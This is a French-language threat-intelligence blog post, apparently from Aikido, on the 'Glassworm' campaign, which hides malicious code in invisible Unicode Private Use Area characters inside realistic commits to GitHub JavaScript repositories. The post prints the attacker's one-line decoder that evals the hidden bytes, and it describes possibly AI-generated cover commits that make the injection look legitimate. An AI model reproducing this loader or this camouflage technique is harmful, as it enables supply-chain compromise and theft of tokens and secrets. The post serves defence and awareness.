Il n'y a pas si longtemps, nous avons découvert des extensions compromises sur Open VSX. Maintenant, une nouvelle vague d'attaques émerge, et tous les signes indiquent le même acteur de la menace.
La technique vous semblera familière : du code malveillant caché injecté avec des caractères Unicode Private Use Area (PUA) invisibles. Nous avons découvert cette astuce pour la première fois en mars lorsque des paquets npm ont utilisé des PUA pour dissimuler des charges utiles. Puis est venu Open VSX. Maintenant, l'attaquant semble s'être tourné vers GitHub, et ses méthodes évoluent. La livraison devient plus intelligente, plus furtive et beaucoup plus trompeuse.
Chronologie de la campagne de code invisible
- Mars – Aikido découvre pour la première fois des paquets npm malveillants dissimulant des charges utiles à l'aide de caractères Unicode PUA
- Mai – Nous publions un blog détaillant les risques de l'Unicode invisible et comment il peut être exploité dans les attaques de la chaîne d’approvisionnement
- 17 octobre – Nous découvrons des extensions compromises sur Open VSX utilisant la même technique ;
- 18 octobre - Koi Security analyse le malware et la charge utile, le nommant Glassworm
- 31 octobre – Nous découvrons que les attaquants ont déplacé leur attention vers les dépôts GitHub
Furtivité par conception
Nous avons été alertés de cette nouvelle vague lorsqu'un développeur nous a contactés après avoir remarqué quelque chose d'étrange : plusieurs de ses propres dépôts GitHub avaient été mis à jour, par lui, du moins selon l'historique des commits. Les commits semblaient légitimes. Ils contenaient des mises à jour de fonctionnalités réalistes, de petites refactorisations et même des corrections de bugs qui correspondaient au style de codage et aux messages de commit du projet. À une différence près, l'e-mail du committer était défini sur null.
const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(``)).toString('utf-8'));
Pouvez-vous repérer le malware ? À première vue, il est difficile de voir ce qui se passe, mais ce qui ressort est le eval appel, qui est souvent utilisé pour exécuter du code dynamiquement. Seule l'entrée de eval semble vide. Cependant, la chaîne vide passée à d() dans eval n'est pas vide du tout. Elle contient des caractères Unicode invisibles, du code caché encodé avec des symboles Private Use Area, tout comme dans les incidents précédents avec npm et Open VSX.

Cette fois, cependant, la livraison est bien plus subtile. Tout a été compressé en une seule ligne, ne laissant presque aucun indice visuel. Le code malveillant est dissimulé à l'intérieur de ce qui ressemble à une activité de projet normale, caché au sein de commits légitimes.
Il est possible que les modifications d'apparence bénigne aient été générées par IA pour rendre les commits plus convaincants. Étant donné que ces commits étaient très spécifiques au projet, cela suggère que l'attaquant a pu tirer parti de grands modèles linguistiques pour élaborer des modifications de code réalistes et sensibles au contexte, utilisant ainsi efficacement l'IA pour camoufler sa charge utile au sein des activités de développement ordinaires.
Les caractères PUA décodés mènent à un script qui semble très similaire aux échantillons Open VSX, ce qui suggère que nous avons probablement affaire au même acteur de la menace. Le script décodé semble utiliser Solana comme canal de livraison, récupérant et exécutant une charge utile depuis la blockchain. D'après les incidents Open VSX, ces charges utiles ont été capables de voler des jetons et d'autres secrets. Si des identifiants ou des jetons CI sont collectés, ils pourraient être réutilisés pour pousser la même charge utile dans d'autres dépôts, ce qui pourrait à son tour permettre une propagation de type ver, comme nous l'avons vu lors d'attaques précédentes.
Signes d'une attaque plus vaste
Après avoir identifié le motif malveillant, nous avons cherché à voir si la même charge utile apparaissait ailleurs. Une rapide recherche sur GitHub pour ce motif a rapidement révélé d'autres dépôts présentant la même ligne suspecte.

Dans ces projets, un nouveau commit avait été poussé qui semblait entièrement légitime à première vue. Les commits contenaient des modifications normales telles que des mises à jour de documentation, des augmentations de version et de petites améliorations de code, mais chacun incluait également la même charge utile cachée ajoutée à la fin d'un fichier.
Pour l'instant, cette campagne semble limitée aux projets JavaScript hébergés sur GitHub. Nous n'avons pas observé de signes de compromissions similaires dans npm ou d'autres écosystèmes, bien que nous surveillions cela de près car le même attaquant pourrait tenter d'étendre sa portée.
Menaces en évolution, défenses plus intelligentes
Ces incidents soulignent la nécessité d'une meilleure sensibilisation à l'utilisation abusive d'Unicode, en particulier aux dangers des caractères invisibles de la zone d'utilisation privée (PUA). Les développeurs ne peuvent se défendre que contre ce qu'ils peuvent voir, et à l'heure actuelle, la plupart des outils ne leur montrent pas assez. Ni l'interface web de GitHub ni VS Code n'ont affiché le moindre signe que quelque chose n'allait pas. Dans des cas précédents, comme les attaques Open VSX, certains IDE affichaient des indicateurs subtils à côté des caractères cachés, mais ces protections étaient absentes ici.
Bien que cette technique ne soit pas nouvelle, elle est clairement en évolution. Des menaces antérieures comme Shai Hulud injectaient simplement des scripts post-installation malveillants, les rendant relativement faciles à détecter. Désormais, les attaquants mélangent du code malveillant avec des commits réalistes et des améliorations spécifiques au projet, possiblement aidés par l'IA pour que leurs modifications paraissent naturelles. C'est un signe de la direction que prend le paysage des menaces.
Chez Aikido, nous nous adaptons à cette même évolution. Nous utilisons des grands modèles linguistiques, parmi d'autres systèmes de détection, pour repérer ces menaces de plus en plus subtiles. Alors que les attaquants adoptent l'IA pour masquer leurs intentions, nos défenses doivent devenir tout aussi intelligentes pour les démasquer.

